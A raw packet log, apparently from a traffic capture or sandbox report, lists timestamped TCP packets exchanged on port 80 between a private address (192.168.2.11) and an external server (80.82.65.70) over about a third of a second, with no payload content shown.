Dec 12, 2024 16:48:06.778671980 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.778918982 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.779328108 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.779402018 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.779448986 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.779972076 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.780173063 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.780271053 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.780277967 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.780343056 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.780903101 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.780986071 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.780987024 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.781027079 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.781672001 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.781735897 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.781773090 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.782270908 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.782536983 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.782664061 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.782732010 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.783262014 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.783332109 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.783364058 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.783611059 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.784003019 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.784049988 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.784089088 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.784178019 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.784790039 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.784842968 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.784903049 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.849262953 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.849322081 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.849371910 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.849482059 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.849520922 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.849555969 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.849602938 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.849766016 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.850248098 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.850356102 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.850433111 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.851074934 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.851149082 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.851185083 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.851453066 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.851613045 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.851655006 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.851768970 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.852391005 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.852592945 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.852662086 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.853167057 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.853219032 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.853283882 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.853387117 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.854005098 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.854034901 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.854110956 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.854110956 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.854722977 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.854799986 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.854814053 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.854887009 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.855542898 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.855649948 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.855680943 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.855696917 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.856293917 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.856367111 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.856399059 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.856661081 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.857058048 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.857121944 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.857188940 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.857867002 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.857983112 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.858031034 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.858067036 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.858633041 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.858688116 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.858719110 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.859143972 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.859502077 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.859561920 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.859663963 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.859767914 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.860225916 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.860285997 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.860347033 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.861016035 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.861068964 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.861107111 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.861125946 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.861814022 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.861865997 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.861929893 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.861973047 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.862577915 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.862682104 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.862808943 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.863364935 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.863481998 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.863600969 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.864115953 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.864219904 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.864697933 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.864903927 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.864965916 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.865029097 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.865765095 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.865878105 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.865906954 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.865923882 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.866465092 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.866580963 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.866688967 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.867259026 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.867310047 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.867355108 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.867371082 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.868391991 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.868436098 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.868486881 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.869048119 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.869098902 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.869122028 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.869724035 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.869765043 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.869777918 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.869832993 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.869899035 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.870384932 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.870456934 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.870528936 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.870702028 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.871284008 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.871361017 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.871452093 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.871496916 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.871962070 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.872075081 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.872123003 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.926109076 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.926201105 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.926362038 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.926553011 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.926599979 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.926635981 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.927318096 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.927369118 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.927392006 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.927408934 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.928035021 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.928230047 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.962783098 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.962868929 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.962891102 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.963021040 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.963022947 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.963059902 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.963179111 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.963241100 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.963692904 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.963747978 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.963783026 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.963848114 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.964453936 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.964504004 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.964564085 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.964649916 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.965254068 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.965349913 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.965353966 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.965465069 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.966042995 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.966090918 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.966154099 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.966202974 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.966835022 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.966928959 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.966985941 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.967624903 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.967678070 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.967709064 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.967783928 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.968368053 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.968425035 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.968497038 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.968642950 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.969163895 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.969238043 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.969259977 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.969319105 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.970066071 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.970123053 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.970146894 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.970191956 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.970768929 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.970870018 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.970930099 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.971541882 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.971597910 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.971635103 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.971713066 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.972408056 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.972506046 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.972517014 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.972735882 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.973154068 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.973207951 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.973342896 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.973392963 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.973908901 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.973968983 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.974014997 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.974093914 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.974632978 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.974730968 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.974747896 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.974792957 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.975414991 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.975511074 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.975533009 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.975580931 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.976197958 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.976264954 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.976326942 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.976985931 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.977027893 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.977055073 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.977119923 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.041579008 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.041707039 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.041855097 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.041856050 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.041887045 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.042129993 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.042733908 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.042790890 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.042839050 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.043504953 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.043518066 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.043697119 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.043867111 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.043919086 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.044478893 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.044640064 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.045267105 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.045321941 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.045505047 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.046057940 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.046163082 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.046222925 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.046861887 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.046904087 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.046952009 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.047622919 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.047672033 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.047727108 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.047863007 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.048422098 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.048537016 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.048537970 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.048574924 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.049257040 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.049277067 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.049365997 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.049964905 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.050157070 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.050220013 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.050765991 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.050826073 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.050854921 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.050898075 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.051542997 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.051587105 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.051661968 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.051702976 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.052309990 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.052438021 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.052486897 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.052568913 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.053075075 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.053206921 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.053273916 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.053337097 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.053900957 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.053961039 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.054059982 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.054200888 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.054663897 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.054749012 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.054857969 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.054893017 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.055509090 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.055619001 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.055741072 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.056211948 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.056298018 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.056350946 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.056399107 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.057015896 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.057094097 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.057147026 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.057809114 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.057919979 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.057936907 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.058073044 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.058572054 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.058737040 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.058784962 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.059420109 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.059530020 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.059536934 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.059611082 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.060120106 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.060168982 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.060198069 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.060290098 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.061157942 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.061193943 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.061217070 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.061260939 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.061907053 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.061954975 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.062035084 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.062077045 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.062607050 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.062673092 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.062685013 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.062725067 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.063302994 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.063447952 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.063477993 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.063527107 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.064105034 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.064229965 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.064344883 CET	80	49819	80.82.65.70	192.168.2.11
